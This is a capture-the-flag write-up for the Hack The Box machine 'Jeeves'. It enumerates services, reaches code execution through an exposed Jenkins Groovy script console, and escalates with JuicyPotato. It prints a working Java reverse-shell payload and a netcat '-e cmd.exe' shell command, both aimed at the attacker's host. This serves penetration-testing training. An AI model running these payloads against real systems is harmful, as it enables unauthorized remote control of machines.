> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/hack-the-box/medium/jeeves.md).

# Jeeves

## Service Enumeration

`nmapAutomator.sh -H 10.10.10.63 -t all`

![](/files/-MadsKQyTWzuAf0z9MBC)

### Port 80

A HTTP service runs on port 80. Entering an input in the search bar results in a server error, showing us some information about the versions of the services and OS it is running.

![](/files/-MadsNgdPDvTao_fZCDp)

### Port 50000

Another web service, running Jetty, is on port 50000. Using the `directory-list-2.3-medium.txt` wordlist from dirbuster, we can perform subdirectory enumeration on the target.

`gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`

This uncovers a `/askjeeves` directory.

By going to `http://10.10.10.63:50000/askjeeves/`, we find a Jenkins page.

![](/files/-MadsQ9233V8sqWwjsx5)

## Exploitation

By going to `http://10.10.10.63:50000/askjeeves/script`, we can execute scripts on the Groovy script console.

```java
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```

By changing first line in the script, we can execute arbitrary shell commands.

![](/files/-MadsSlYQRDIcUL5_heK)

We can change the script to instead trigger a reverse shell.

Source: <https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76>

```java
String host="10.10.14.23";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

On our Netcat listener, we obtain a reverse shell.

![](/files/-MadsVpdC1tyjsnFd88d)

## Privilege Escalation

We can use WinPEAS to enumerate.

![](/files/-MadsYTbrPIiraQ5ww8G)

Very quickly, we see that the SeImpersonatePrivilege token is enabled. We can exploit this with JuicyPotato (<https://github.com/ohpe/juicy-potato>).

After transferring JuicyPotato.exe and Netcat, we can run the following command to get another shell:

`JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\nc.exe -e cmd.exe 10.10.14.23 443" -t *`

![](/files/-MadsaVLrVLe9v27z24f)

We have successfully obtained SYSTEM privileges.

We find a `hm.txt` in place of `root.txt`.

![](/files/-MadscqVoG8zpewhcHrm)

However, we can find that there is an additional data stream hidden in the file.

![](/files/-Madsfah-dkABbWwj_gA)

![](/files/-MadsjzbQsapwzic0pEs)